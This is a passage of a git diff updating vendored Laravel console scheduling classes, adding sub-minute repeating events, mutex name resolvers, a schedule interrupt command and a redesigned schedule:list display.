-50,64 +65,72 @@ public function __construct(EventMutex $mutex, $callback, array $parameters = [] } /** - * Run the given event. + * Run the callback event. * * @param \Illuminate\Contracts\Container\Container $container * @return mixed * - * @throws \Exception + * @throws \Throwable */ public function run(Container $container) { - if ($this->description && $this->withoutOverlapping && - ! $this->mutex->create($this)) { - return; - } - - $pid = getmypid(); - - register_shutdown_function(function () use ($pid) { - if ($pid === getmypid()) { - $this->removeMutex(); - } - }); - - parent::callBeforeCallbacks($container); - - try { - $response = is_object($this->callback) - ? $container->call([$this->callback, '__invoke'], $this->parameters) - : $container->call($this->callback, $this->parameters); - - $this->exitCode = $response === false ? 1 : 0; - } catch (Throwable $e) { - $this->exitCode = 1; + parent::run($container); - throw $e; - } finally { - $this->removeMutex(); - - parent::callAfterCallbacks($container); + if ($this->exception) { + throw $this->exception; } - return $response; + return $this->result; } /** - * Clear the mutex for the event. + * Determine if the event should skip because another process is overlapping. + * + * @return bool + */ + public function shouldSkipDueToOverlapping() + { + return $this->description && parent::shouldSkipDueToOverlapping(); + } + + /** + * Indicate that the callback should run in the background. * * @return void + * + * @throws \RuntimeException */ - protected function removeMutex() + public function runInBackground() { - if ($this->description && $this->withoutOverlapping) { - $this->mutex->forget($this); + throw new RuntimeException('Scheduled closures can not be run in the background.'); + } + + /** + * Run the callback. + * + * @param \Illuminate\Contracts\Container\Container $container + * @return int + */ + protected function execute($container) + { + try { + $this->result = is_object($this->callback) + ? $container->call([$this->callback, '__invoke'], $this->parameters) + : $container->call($this->callback, $this->parameters); + + return $this->result === false ? 1 : 0; + } catch (Throwable $e) { + $this->exception = $e; + + return 1; } } /** * Do not allow the event to overlap each other. * + * The expiration time of the underlying cache lock may be specified in minutes. + * * @param int $expiresAt * @return $this * @@ -121,13 +144,7 @@ public function withoutOverlapping($expiresAt = 1440) ); } - $this->withoutOverlapping = true; - - $this->expiresAt = $expiresAt; - - return $this->skip(function () { - return $this->mutex->exists($this); - }); + return parent::withoutOverlapping($expiresAt); } /** @@ -145,9 +162,21 @@ public function onOneServer() ); } - $this->onOneServer = true; + return parent::onOneServer(); + } - return $this; + /** + * Get the summary of the event for display. + * + * @return string + */ + public function getSummaryForDisplay() + { + if (is_string($this->description)) { + return $this->description; + } + + return is_string($this->callback) ? $this->callback : 'Callback'; } /** @@ -157,20 +186,18 @@ public function onOneServer() */ public function mutexName() { - return 'framework/schedule-'.sha1($this->description); + return 'framework/schedule-'.sha1($this->description ?? ''); } /** - * Get the summary of the event for display. + * Clear the mutex for the event. * - * @return string + * @return void */ - public function getSummaryForDisplay() + protected function removeMutex() { - if (is_string($this->description)) { - return $this->description; + if ($this->description) { + parent::removeMutex(); } - - return is_string($this->callback) ? $this->callback : 'Callback'; } } diff --git a/vendor/illuminate/console/Scheduling/Event.php b/vendor/illuminate/console/Scheduling/Event.php index 4de88f163..98fff2fec 100644 --- a/vendor/illuminate/console/Scheduling/Event.php +++ b/vendor/illuminate/console/Scheduling/Event.php @@ -26,7 +26,7 @@ class Event /** * The command string. * - * @var string + * @var string|null */ public $command; @@ -37,6 +37,13 @@ class Event */ public $expression = '* * * * *'; + /** + * How often to repeat the event during a minute. + * + * @var int|null + */ + public $repeatSeconds = null; + /** * The timezone the date should be evaluated on. * @@ -47,7 +54,7 @@ class Event /** * The user the command should run as. * - * @var string + * @var string|null */ public $user; @@ -80,7 +87,7 @@ class Event public $onOneServer = false; /** - * The amount of time the mutex should be valid. + * The number of minutes the mutex should be valid. * * @var int */ @@ -138,7 +145,7 @@ class Event /** * The human readable description of the event. * - * @var string + * @var string|null */ public $description; @@ -149,6 +156,22 @@ class Event */ public $mutex; + /** + * The mutex name resolver callback. + * + * @var \Closure|null + */ + public $mutexNameResolver; + + /** + * The last time the event was checked for eligibility to run. + * + * Utilized by sub-minute repeated events. + * + * @var \Illuminate\Support\Carbon|null + */ + protected $lastChecked; + /** * The exit status code of the command. * @@ -188,62 +211,67 @@ public function getDefaultOutput() * * @param \Illuminate\Contracts\Container\Container $container * @return void + * + * @throws \Throwable */ public function run(Container $container) { - if ($this->withoutOverlapping && - ! $this->mutex->create($this)) { + if ($this->shouldSkipDueToOverlapping()) { return; } - $this->runInBackground - ? $this->runCommandInBackground($container) - : $this->runCommandInForeground($container); + $exitCode = $this->start($container); + + if (! $this->runInBackground) { + $this->finish($container, $exitCode); + } } /** - * Get the mutex name for the scheduled command. + * Determine if the event should skip because another process is overlapping. * - * @return string + * @return bool */ - public function mutexName() + public function shouldSkipDueToOverlapping() { - return 'framework'.DIRECTORY_SEPARATOR.'schedule-'.sha1($this->expression.$this->command); + return $this->withoutOverlapping && ! $this->mutex->create($this); } /** - * Run the command in the foreground. + * Determine if the event has been configured to repeat multiple times per minute. * - * @param \Illuminate\Contracts\Container\Container $container - * @return void + * @return bool */ - protected function runCommandInForeground(Container $container) + public function isRepeatable() { - try { - $this->callBeforeCallbacks($container); - - $this->exitCode = Process::fromShellCommandline( - $this->buildCommand(), base_path(), null, null, null - )->run(); + return ! is_null($this->repeatSeconds); + } - $this->callAfterCallbacks($container); - } finally { - $this->removeMutex(); - } + /** + * Determine if the event is ready to repeat. + * + * @return bool + */ + public function shouldRepeatNow() + { + return $this->isRepeatable() + && $this->lastChecked?->diffInSeconds() >= $this->repeatSeconds; } /** - * Run the command in the background. + * Run the command process. * * @param \Illuminate\Contracts\Container\Container $container - * @return void + * @return int + * + * @throws \Throwable */ - protected function runCommandInBackground(Container $container) + protected function start($container) { try { $this->callBeforeCallbacks($container); - Process::fromShellCommandline($this->buildCommand(), base_path(), null, null, null)->run(); + return $this->execute($container); } catch (Throwable $exception) { $this->removeMutex(); @@ -252,27 +280,45 @@ protected function runCommandInBackground(Container $container) } /** - * Call all of the "before" callbacks for the event. + * Run the command process. + * + * @param \Illuminate\Contracts\Container\Container $container + * @return int + */ + protected function execute($container) + { + return Process::fromShellCommandline( + $this->buildCommand(), base_path(), null, null, null + )->run(); + } + + /** + * Mark the command process as finished and run callbacks/cleanup. * * @param \Illuminate\Contracts\Container\Container $container + * @param int $exitCode * @return void */ - public function callBeforeCallbacks(Container $container) + public function finish(Container $container, $exitCode) { - foreach ($this->beforeCallbacks as $callback) { - $container->call($callback); + $this->exitCode = (int) $exitCode; + + try { + $this->callAfterCallbacks($container); + } finally { + $this->removeMutex(); } } /** - * Call all of the "after" callbacks for the event. + * Call all of the "before" callbacks for the event. * * @param \Illuminate\Contracts\Container\Container $container * @return void */ - public function callAfterCallbacks(Container $container) + public function callBeforeCallbacks(Container $container) { - foreach ($this->afterCallbacks as $callback) { + foreach ($this->beforeCallbacks as $callback) { $container->call($callback); } } @@ -281,17 +327,12 @@ public function callAfterCallbacks(Container $container) * Call all of the "after" callbacks for the event. * * @param \Illuminate\Contracts\Container\Container $container - * @param int $exitCode * @return void */ - public function callAfterCallbacksWithExitCode(Container $container, $exitCode) + public function callAfterCallbacks(Container $container) { - $this->exitCode = (int) $exitCode; - - try { - $this->callAfterCallbacks($container); - } finally { - $this->removeMutex(); + foreach ($this->afterCallbacks as $callback) { + $container->call($callback); } } @@ -366,6 +407,8 @@ public function runsInEnvironment($environment) */ public function filtersPass($app) { + $this->lastChecked = Date::now(); + foreach ($this->filters as $callback) { if (! $app->call($callback)) { return false; @@ -655,6 +698,8 @@ public function evenInMaintenanceMode() /** * Do not allow the event to overlap each other. * + * The expiration time of the underlying cache lock may be specified in minutes. + * * @param int $expiresAt * @return $this */ @@ -783,7 +828,7 @@ public function onSuccess(Closure $callback) } return $this->then(function (Container $container) use ($callback) { - if (0 === $this->exitCode) { + if ($this->exitCode === 0) { $container->call($callback); } }); @@ -818,7 +863,7 @@ public function onFailure(Closure $callback) } return $this->then(function (Container $container) use ($callback) { - if (0 !== $this->exitCode) { + if ($this->exitCode !== 0) { $container->call($callback); } }); @@ -931,6 +976,35 @@ public function preventOverlapsUsing(EventMutex $mutex) return $this; } + /** + * Get the mutex name for the scheduled command. + * + * @return string + */ + public function mutexName() + { + $mutexNameResolver = $this->mutexNameResolver; + + if (! is_null($mutexNameResolver) && is_callable($mutexNameResolver)) { + return $mutexNameResolver($this); + } + + return 'framework'.DIRECTORY_SEPARATOR.'schedule-'.sha1($this->expression.$this->command); + } + + /** + * Set the mutex name or name resolver callback. + * + * @param \Closure|string $mutexName + * @return $this + */ + public function createMutexNameUsing(Closure|string $mutexName) + { + $this->mutexNameResolver = is_string($mutexName) ? fn () => $mutexName : $mutexName; + + return $this; + } + /** * Delete the mutex for the event. * diff --git a/vendor/illuminate/console/Scheduling/ManagesFrequencies.php b/vendor/illuminate/console/Scheduling/ManagesFrequencies.php index 9226cec27..cc797b69e 100644 --- a/vendor/illuminate/console/Scheduling/ManagesFrequencies.php +++ b/vendor/illuminate/console/Scheduling/ManagesFrequencies.php @@ -3,6 +3,7 @@ namespace Illuminate\Console\Scheduling; use Illuminate\Support\Carbon; +use InvalidArgumentException; trait ManagesFrequencies { @@ -60,15 +61,100 @@ private function inTimeInterval($startTime, $endTime) if ($endTime->lessThan($startTime)) { if ($startTime->greaterThan($now)) { - $startTime->subDay(1); + $startTime = $startTime->subDay(1); } else { - $endTime->addDay(1); + $endTime = $endTime->addDay(1); } } - return function () use ($now, $startTime, $endTime) { - return $now->between($startTime, $endTime); - }; + return fn () => $now->between($startTime, $endTime); + } + + /** + * Schedule the event to run every second. + * + * @return $this + */ + public function everySecond() + { + return $this->repeatEvery(1); + } + + /** + * Schedule the event to run every two seconds. + * + * @return $this + */ + public function everyTwoSeconds() + { + return $this->repeatEvery(2); + } + + /** + * Schedule the event to run every five seconds. + * + * @return $this + */ + public function everyFiveSeconds() + { + return $this->repeatEvery(5); + } + + /** + * Schedule the event to run every ten seconds. + * + * @return $this + */ + public function everyTenSeconds() + { + return $this->repeatEvery(10); + } + + /** + * Schedule the event to run every fifteen seconds. + * + * @return $this + */ + public function everyFifteenSeconds() + { + return $this->repeatEvery(15); + } + + /** + * Schedule the event to run every twenty seconds. + * + * @return $this + */ + public function everyTwentySeconds() + { + return $this->repeatEvery(20); + } + + /** + * Schedule the event to run every thirty seconds. + * + * @return $this + */ + public function everyThirtySeconds() + { + return $this->repeatEvery(30); + } + + /** + * Schedule the event to run multiple times per minute. + * + * @param int $seconds + * @return $this + */ + protected function repeatEvery($seconds) + { + if (60 % $seconds !== 0) { + throw new InvalidArgumentException("The seconds [$seconds] are not evenly divisible by 60."); + } + + $this->repeatSeconds = $seconds; + + return $this->everyMinute(); } /** @@ -164,58 +250,67 @@ public function hourly() /** * Schedule the event to run hourly at a given offset in the hour. * - * @param array|int $offset + * @param array|string|int $offset * @return $this */ public function hourlyAt($offset) { - $offset = is_array($offset) ? implode(',', $offset) : $offset; + return $this->hourBasedSchedule($offset, '*'); + } - return $this->spliceIntoPosition(1, $offset); + /** + * Schedule the event to run every odd hour. + * + * @param array|string|int $offset + * @return $this + */ + public function everyOddHour($offset = 0) + { + return $this->hourBasedSchedule($offset, '1-23/2'); } /** * Schedule the event to run every two hours. * + * @param array|string|int $offset * @return $this */ - public function everyTwoHours() + public function everyTwoHours($offset = 0) { - return $this->spliceIntoPosition(1, 0) - ->spliceIntoPosition(2, '*/2'); + return $this->hourBasedSchedule($offset, '*/2'); } /** * Schedule the event to run every three hours. * + * @param array|string|int $offset * @return $this */ - public function everyThreeHours() + public function everyThreeHours($offset = 0) { - return $this->spliceIntoPosition(1, 0) - ->spliceIntoPosition(2, '*/3'); + return $this->hourBasedSchedule($offset, '*/3'); } /** * Schedule the event to run every four hours. * + * @param array|string|int $offset * @return $this */ - public function everyFourHours() + public function everyFourHours($offset = 0) { - return $this->spliceIntoPosition(1, 0) - ->spliceIntoPosition(2, '*/4'); + return $this->hourBasedSchedule($offset, '*/4'); } /** * Schedule the event to run every six hours. * + * @param array|string|int $offset * @return $this */ - public function everySixHours() + public function everySixHours($offset = 0) { - return $this->spliceIntoPosition(1, 0) - ->spliceIntoPosition(2, '*/6'); + return $this->hourBasedSchedule($offset, '*/6'); } /** @@ -225,8 +320,7 @@ public function everySixHours() */ public function daily() { - return $this->spliceIntoPosition(1, 0) - ->spliceIntoPosition(2, 0); + return $this->hourBasedSchedule(0, 0); } /** @@ -250,8 +344,10 @@ public function dailyAt($time) { $segments = explode(':', $time); - return $this->spliceIntoPosition(2, (int) $segments[0]) - ->spliceIntoPosition(1, count($segments) === 2 ? (int) $segments[1] : '0'); + return $this->hourBasedSchedule( + count($segments) === 2 ? (int) $segments[1] : '0', + (int) $segments[0] + ); } /** @@ -278,7 +374,23 @@ public function twiceDailyAt($first = 1, $second = 13, $offset = 0) { $hours = $first.','.$second; - return $this->spliceIntoPosition(1, $offset) + return $this->hourBasedSchedule($offset, $hours); + } + + /** + * Schedule the event to run at the given minutes and hours. + * + * @param array|string|int $minutes + * @param array|string|int $hours + * @return $this + */ + protected function hourBasedSchedule($minutes, $hours) + { + $minutes = is_array($minutes) ? implode(',', $minutes) : $minutes; + + $hours = is_array($hours) ? implode(',', $hours) : $hours; + + return $this->spliceIntoPosition(1, $minutes) ->spliceIntoPosition(2, $hours); } @@ -467,6 +579,21 @@ public function quarterly() ->spliceIntoPosition(4, '1-12/3'); } + /** + * Schedule the event to run quarterly on a given day and time. + * + * @param int $dayOfQuarter + * @param string $time + * @return $this + */ + public function quarterlyOn($dayOfQuarter = 1, $time = '0:0') + { + $this->dailyAt($time); + + return $this->spliceIntoPosition(3, $dayOfQuarter) + ->spliceIntoPosition(4, '1-12/3'); + } + /** * Schedule the event to run yearly. * @@ -531,7 +658,7 @@ public function timezone($timezone) */ protected function spliceIntoPosition($position, $value) { - $segments = explode(' ', $this->expression); + $segments = preg_split("/\s+/", $this->expression); $segments[$position - 1] = $value; diff --git a/vendor/illuminate/console/Scheduling/Schedule.php b/vendor/illuminate/console/Scheduling/Schedule.php index ee5412b7b..684aec58f 100644 --- a/vendor/illuminate/console/Scheduling/Schedule.php +++ b/vendor/illuminate/console/Scheduling/Schedule.php @@ -14,7 +14,6 @@ use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Queue\CallQueuedClosure; use Illuminate\Support\ProcessUtils; -use Illuminate\Support\Str; use Illuminate\Support\Traits\Macroable; use RuntimeException; @@ -23,11 +22,17 @@ class Schedule use Macroable; const SUNDAY = 0; + const MONDAY = 1; + const TUESDAY = 2; + const WEDNESDAY = 3; + const THURSDAY = 4; + const FRIDAY = 5; + const SATURDAY = 6; /** @@ -65,6 +70,13 @@ class Schedule */ protected $dispatcher; + /** + * The cache of mutex results. + * + * @var array + */ + protected $mutexCache = []; + /** * Create a new schedule instance. * @@ -272,11 +284,11 @@ public function compileArrayInput($key, $value) return ProcessUtils::escapeArgument($value); }); - if (Str::startsWith($key, '--')) { + if (str_starts_with($key, '--')) { $value = $value->map(function ($value) use ($key) { return "{$key}={$value}"; }); - } elseif (Str::startsWith($key, '-')) { + } elseif (str_starts_with($key, '-')) { $value = $value->map(function ($value) use ($key) { return "{$key} {$value}"; }); @@ -294,7 +306,7 @@ public function compileArrayInput($key, $value) */ public function serverShouldRun(Event $event, DateTimeInterface $time) { - return $this->schedulingMutex->create($event, $time); + return $this->mutexCache[$event->mutexName()] ??= $this->schedulingMutex->create($event, $time); } /** @@ -352,7 +364,7 @@ protected function getDispatcher() } catch (BindingResolutionException $e) { throw new RuntimeException( 'Unable to resolve the dispatcher from the service container. Please bind it or install the illuminate/bus package.', - $e->getCode(), $e + is_int($e->getCode()) ? $e->getCode() : 0, $e ); } } diff --git a/vendor/illuminate/console/Scheduling/ScheduleClearCacheCommand.php b/vendor/illuminate/console/Scheduling/ScheduleClearCacheCommand.php index 0dd9424c4..3deb1c6bc 100644 --- a/vendor/illuminate/console/Scheduling/ScheduleClearCacheCommand.php +++ b/vendor/illuminate/console/Scheduling/ScheduleClearCacheCommand.php @@ -32,7 +32,7 @@ public function handle(Schedule $schedule) foreach ($schedule->events($this->laravel) as $event) { if ($event->mutex->exists($event)) { - $this->line('Deleting mutex for: '.$event->command); + $this->components->info(sprintf('Deleting mutex for [%s]', $event->command)); $event->mutex->forget($event); @@ -41,7 +41,7 @@ public function handle(Schedule $schedule) } if (! $mutexCleared) { - $this->info('No mutex files were found.'); + $this->components->info('No mutex files were found.'); } } } diff --git a/vendor/illuminate/console/Scheduling/ScheduleFinishCommand.php b/vendor/illuminate/console/Scheduling/ScheduleFinishCommand.php index 4857d695c..a3d8dd24e 100644 --- a/vendor/illuminate/console/Scheduling/ScheduleFinishCommand.php +++ b/vendor/illuminate/console/Scheduling/ScheduleFinishCommand.php @@ -5,7 +5,9 @@ use Illuminate\Console\Command; use Illuminate\Console\Events\ScheduledBackgroundTaskFinished; use Illuminate\Contracts\Events\Dispatcher; +use Symfony\Component\Console\Attribute\AsCommand; +#[AsCommand(name: 'schedule:finish')] class ScheduleFinishCommand extends Command { /** @@ -40,7 +42,7 @@ public function handle(Schedule $schedule) collect($schedule->events())->filter(function ($value) { return $value->mutexName() == $this->argument('id'); })->each(function ($event) { - $event->callafterCallbacksWithExitCode($this->laravel, $this->argument('code')); + $event->finish($this->laravel, $this->argument('code')); $this->laravel->make(Dispatcher::class)->dispatch(new ScheduledBackgroundTaskFinished($event)); }); diff --git a/vendor/illuminate/console/Scheduling/ScheduleInterruptCommand.php b/vendor/illuminate/console/Scheduling/ScheduleInterruptCommand.php new file mode 100644 index 000000000..662606a2a --- /dev/null +++ b/vendor/illuminate/console/Scheduling/ScheduleInterruptCommand.php @@ -0,0 +1,58 @@ +cache = $cache; + } + + /** + * Execute the console command. + * + * @return void + */ + public function handle() + { + $this->cache->put('illuminate:schedule:interrupt', true, Date::now()->endOfMinute()); + + $this->components->info('Broadcasting schedule interrupt signal.'); + } +} diff --git a/vendor/illuminate/console/Scheduling/ScheduleListCommand.php b/vendor/illuminate/console/Scheduling/ScheduleListCommand.php index b1b0bdde5..831b595aa 100644 --- a/vendor/illuminate/console/Scheduling/ScheduleListCommand.php +++ b/vendor/illuminate/console/Scheduling/ScheduleListCommand.php @@ -2,11 +2,18 @@ namespace Illuminate\Console\Scheduling; +use Closure; use Cron\CronExpression; use DateTimeZone; +use Illuminate\Console\Application; use Illuminate\Console\Command; use Illuminate\Support\Carbon; +use ReflectionClass; +use ReflectionFunction; +use Symfony\Component\Console\Attribute\AsCommand; +use Symfony\Component\Console\Terminal; +#[AsCommand(name: 'schedule:list')] class ScheduleListCommand extends Command { /** @@ -14,14 +21,24 @@ class ScheduleListCommand extends Command * * @var string */ - protected $signature = 'schedule:list {--timezone= : The timezone that times should be displayed in}'; + protected $signature = 'schedule:list + {--timezone= : The timezone that times should be displayed in} + {--next : Sort the listed tasks by their next due date} + '; /** * The console command description. * * @var string */ - protected $description = 'List the scheduled commands'; + protected $description = 'List all scheduled tasks'; + + /** + * The terminal width resolver callback. + * + * @var \Closure|null + */ + protected static $terminalWidthResolver; /** * Execute the console command. @@ -33,23 +50,259 @@ class ScheduleListCommand extends Command */ public function handle(Schedule $schedule) { - foreach ($schedule->events() as $event) { - $rows[] = [ - $event->command, - $event->expression, - $event->description, - (new CronExpression($event->expression)) - ->getNextRunDate(Carbon::now()->setTimezone($event->timezone)) - ->setTimezone(new DateTimeZone($this->option('timezone') ?? config('app.timezone'))) - ->format('Y-m-d H:i:s P'), - ]; - } - - $this->table([ - 'Command', - 'Interval', - 'Description', - 'Next Due', - ], $rows ?? []); + $events = collect($schedule->events()); + + if ($events->isEmpty()) { + $this->components->info('No scheduled tasks have been defined.'); + + return; + } + + $terminalWidth = self::getTerminalWidth(); + + $expressionSpacing = $this->getCronExpressionSpacing($events); + + $repeatExpressionSpacing = $this->getRepeatExpressionSpacing($events); + + $timezone = new DateTimeZone($this->option('timezone') ?? config('app.timezone')); + + $events = $this->sortEvents($events, $timezone); + + $events = $events->map(function ($event) use ($terminalWidth, $expressionSpacing, $repeatExpressionSpacing, $timezone) { + return $this->listEvent($event, $terminalWidth, $expressionSpacing, $repeatExpressionSpacing, $timezone); + }); + + $this->line( + $events->flatten()->filter()->prepend('')->push('')->toArray() + ); + } + + /** + * Get the spacing to be used on each event row. + * + * @param \Illuminate\Support\Collection $events + * @return array + */ + private function getCronExpressionSpacing($events) + { + $rows = $events->map(fn ($event) => array_map('mb_strlen', preg_split("/\s+/", $event->expression))); + + return collect($rows[0] ?? [])->keys()->map(fn ($key) => $rows->max($key))->all(); + } + + /** + * Get the spacing to be used on each event row. + * + * @param \Illuminate\Support\Collection $events + * @return int + */ + private function getRepeatExpressionSpacing($events) + { + return $events->map(fn ($event) => mb_strlen($this->getRepeatExpression($event)))->max(); + } + + /** + * List the given even in the console. + * + * @param \Illuminate\Console\Scheduling\Event + * @param int $terminalWidth + * @param array $expressionSpacing + * @param int $repeatExpressionSpacing + * @param array $repeatExpressionSpacing + * @param \DateTimeZone $timezone + * @return \Illuminate\Support\DateTimeZone + */ + private function listEvent($event, $terminalWidth, $expressionSpacing, $repeatExpressionSpacing, $timezone) + { + $expression = $this->formatCronExpression($event->expression, $expressionSpacing); + + $repeatExpression = str_pad($this->getRepeatExpression($event), $repeatExpressionSpacing); + + $command = $event->command ?? ''; + + $description = $event->description ?? ''; + + if (! $this->output->isVerbose()) { + $command = str_replace([Application::phpBinary(), Application::artisanBinary()], [ + 'php', + preg_replace("#['\"]#", '', Application::artisanBinary()), + ], $command); + } + + if ($event instanceof CallbackEvent) { + $command = $event->getSummaryForDisplay(); + + if (in_array($command, ['Closure', 'Callback'])) { + $command = 'Closure at: '.$this->getClosureLocation($event); + } + } + + $command = mb_strlen($command) > 1 ? "{$command} " : ''; + + $nextDueDateLabel = 'Next Due:'; + + $nextDueDate = $this->getNextDueDateForEvent($event, $timezone); + + $nextDueDate = $this->output->isVerbose() + ? $nextDueDate->format('Y-m-d H:i:s P') + : $nextDueDate->diffForHumans(); + + $hasMutex = $event->mutex->exists($event) ? 'Has Mutex › ' : ''; + + $dots = str_repeat('.', max( + $terminalWidth - mb_strlen($expression.$repeatExpression.$command.$nextDueDateLabel.$nextDueDate.$hasMutex) - 8, 0 + )); + + // Highlight the parameters... + $command = preg_replace("#(php artisan [\w\-:]+) (.+)#", '$1 $2', $command); + + return [sprintf( + ' %s %s %s%s %s%s %s', + $expression, + $repeatExpression, + $command, + $dots, + $hasMutex, + $nextDueDateLabel, + $nextDueDate + ), $this->output->isVerbose() && mb_strlen($description) > 1 ? sprintf( + ' %s%s %s', + str_repeat(' ', mb_strlen($expression) + 2), + '⇁', + $description + ) : '']; + } + + /** + * Get the repeat expression for an event. + * + * @param \Illuminate\Console\Scheduling\Event $event + * @return string + */ + private function getRepeatExpression($event) + { + return $event->isRepeatable() ? "{$event->repeatSeconds}s " : ''; + } + + /** + * Sort the events by due date if option set. + * + * @param \Illuminate\Support\Collection $events + * @param \DateTimeZone $timezone + * @return \Illuminate\Support\Collection + */ + private function sortEvents(\Illuminate\Support\Collection $events, DateTimeZone $timezone) + { + return $this->option('next') + ? $events->sortBy(fn ($event) => $this->getNextDueDateForEvent($event, $timezone)) + : $events; + } + + /** + * Get the next due date for an event. + * + * @param \Illuminate\Console\Scheduling\Event $event + * @param \DateTimeZone $timezone + * @return \Illuminate\Support\Carbon + */ + private function getNextDueDateForEvent($event, DateTimeZone $timezone) + { + $nextDueDate = Carbon::instance( + (new CronExpression($event->expression)) + ->getNextRunDate(Carbon::now()->setTimezone($event->timezone)) + ->setTimezone($timezone) + ); + + if (! $event->isRepeatable()) { + return $nextDueDate; + } + + $previousDueDate = Carbon::instance( + (new CronExpression($event->expression)) + ->getPreviousRunDate(Carbon::now()->setTimezone($event->timezone), allowCurrentDate: true) + ->setTimezone($timezone) + ); + + $now = Carbon::now()->setTimezone($event->timezone); + + if (! $now->copy()->startOfMinute()->eq($previousDueDate)) { + return $nextDueDate; + } + + return $now + ->endOfSecond() + ->ceilSeconds($event->repeatSeconds); + } + + /** + * Format the cron expression based on the spacing provided. + * + * @param string $expression + * @param array $spacing + * @return string + */ + private function formatCronExpression($expression, $spacing) + { + $expressions = preg_split("/\s+/", $expression); + + return collect($spacing) + ->map(fn ($length, $index) => str_pad($expressions[$index], $length)) + ->implode(' '); + } + + /** + * Get the file and line number for the event closure. + * + * @param \Illuminate\Console\Scheduling\CallbackEvent $event + * @return string + */ + private function getClosureLocation(CallbackEvent $event) + { + $callback = (new ReflectionClass($event))->getProperty('callback')->getValue($event); + + if ($callback instanceof Closure) { + $function = new ReflectionFunction($callback); + + return sprintf( + '%s:%s', + str_replace($this->laravel->basePath().DIRECTORY_SEPARATOR, '', $function->getFileName() ?: ''), + $function->getStartLine() + ); + } + + if (is_string($callback)) { + return $callback; + } + + if (is_array($callback)) { + $className = is_string($callback[0]) ? $callback[0] : $callback[0]::class; + + return sprintf('%s::%s', $className, $callback[1]); + } + + return sprintf('%s::__invoke', $callback::class); + } + + /** + * Get the terminal width. + * + * @return int + */ + public static function getTerminalWidth() + { + return is_null(static::$terminalWidthResolver) + ? (new Terminal)->getWidth() + : call_user_func(static::$terminalWidthResolver); + } + + /** + * Set a callback that should be used when resolving the terminal width. + * + * @param \Closure|null $resolver + * @return void + */ + public static function resolveTerminalWidthUsing($resolver) + { + static::$terminalWidthResolver = $resolver; } } diff --git a/vendor/illuminate/console/Scheduling/ScheduleRunCommand.php b/vendor/illuminate/console/Scheduling/ScheduleRunCommand.php index 4193408fc..917ff9a18 100644 --- a/vendor/illuminate/console/Scheduling/ScheduleRunCommand.php +++ b/vendor/illuminate/console/Scheduling/ScheduleRunCommand.php @@ -2,16 +2,22 @@ namespace Illuminate\Console\Scheduling; +use Illuminate\Console\Application; use Illuminate\Console\Command; use Illuminate\Console\Events\ScheduledTaskFailed; use Illuminate\Console\Events\ScheduledTaskFinished; use Illuminate\Console\Events\ScheduledTaskSkipped; use Illuminate\Console\Events\ScheduledTaskStarting; +use Illuminate\Contracts\Cache\Repository as Cache; use Illuminate\Contracts\Debug\ExceptionHandler; use Illuminate\Contracts\Events\Dispatcher; +use Illuminate\Support\Carbon; use Illuminate\Support\Facades\Date; +use Illuminate\Support\Sleep; +use Symfony\Component\Console\Attribute\AsCommand; use Throwable; +#[AsCommand(name: 'schedule:run')] class ScheduleRunCommand extends Command { /** @@ -63,6 +69,20 @@ class ScheduleRunCommand extends Command */ protected $handler; + /** + * The cache store implementation. + * + * @var \Illuminate\Contracts\Cache\Repository + */ + protected $cache; + + /** + * The PHP binary used by the command. + * + * @var string + */ + protected $phpBinary; + /** * Create a new command instance. * @@ -80,16 +100,25 @@ public function __construct() * * @param \Illuminate\Console\Scheduling\Schedule $schedule * @param \Illuminate\Contracts\Events\Dispatcher $dispatcher + * @param \Illuminate\Contracts\Cache\Repository $cache * @param \Illuminate\Contracts\Debug\ExceptionHandler $handler * @return void */ - public function handle(Schedule $schedule, Dispatcher $dispatcher, ExceptionHandler $handler) + public function handle(Schedule $schedule, Dispatcher $dispatcher, Cache $cache, ExceptionHandler $handler) { $this->schedule = $schedule; $this->dispatcher = $dispatcher; + $this->cache = $cache; $this->handler = $handler; + $this->phpBinary = Application::phpBinary(); + + $this->clearInterruptSignal(); + + $this->newLine(); - foreach ($this->schedule->dueEvents($this->laravel) as $event) { + $events = $this->schedule->dueEvents($this->laravel); + + foreach ($events as $event) { if (! $event->filtersPass($this->laravel)) { $this->dispatcher->dispatch(new ScheduledTaskSkipped($event)); @@ -105,8 +134,14 @@ public function handle(Schedule $schedule, Dispatcher $dispatcher, ExceptionHand $this->eventsRan = true; } + if ($events->contains->isRepeatable()) { + $this->repeatEvents($events->filter->isRepeatable()); + } + if (! $this->eventsRan) { - $this->info('No scheduled commands are ready to run.'); + $this->components->info('No scheduled commands are ready to run.'); + } else { + $this->newLine(); } } @@ -121,7 +156,9 @@ protected function runSingleServerEvent($event) if ($this->schedule->serverShouldRun($event, $this->startedAt)) { $this->runEvent($event); } else { - $this->line('Skipping command (has already run on another server): '.$event->getSummaryForDisplay()); + $this->components->info(sprintf( + 'Skipping [%s], as command already run on another server.', $event->getSummaryForDisplay() + )); } } @@ -133,25 +170,111 @@ protected function runSingleServerEvent($event) */ protected function runEvent($event) { - $this->line('['.date('c').'] Running scheduled command: '.$event->getSummaryForDisplay()); + $summary = $event->getSummaryForDisplay(); - $this->dispatcher->dispatch(new ScheduledTaskStarting($event)); + $command = $event instanceof CallbackEvent + ? $summary + : trim(str_replace($this->phpBinary, '', $event->command)); - $start = microtime(true); + $description = sprintf( + '%s Running [%s]%s', + Carbon::now()->format('Y-m-d H:i:s'), + $command, + $event->runInBackground ? ' in background' : '', + ); - try { - $event->run($this->laravel); + $this->components->task($description, function () use ($event) { + $this->dispatcher->dispatch(new ScheduledTaskStarting($event)); - $this->dispatcher->dispatch(new ScheduledTaskFinished( - $event, - round(microtime(true) - $start, 2) - )); + $start = microtime(true); - $this->eventsRan = true; - } catch (Throwable $e) { - $this->dispatcher->dispatch(new ScheduledTaskFailed($event, $e)); + try { + $event->run($this->laravel); + + $this->dispatcher->dispatch(new ScheduledTaskFinished( + $event, + round(microtime(true) - $start, 2) + )); + + $this->eventsRan = true; + } catch (Throwable $e) { + $this->dispatcher->dispatch(new ScheduledTaskFailed($event, $e)); + + $this->handler->report($e); + } + + return $event->exitCode == 0; + }); + + if (! $event instanceof CallbackEvent) { + $this->components->bulletList([ + $event->getSummaryForDisplay(), + ]); + } + } + + /** + * Run the given repeating events. + * + * @param \Illuminate\Support\Collection<\Illuminate\Console\Scheduling\Event> $events + * @return void + */ + protected function repeatEvents($events) + { + $hasEnteredMaintenanceMode = false; + + while (Date::now()->lte($this->startedAt->endOfMinute())) { + foreach ($events as $event) { + if ($this->shouldInterrupt()) { + return; + } + + if (! $event->shouldRepeatNow()) { + continue; + } + + $hasEnteredMaintenanceMode = $hasEnteredMaintenanceMode 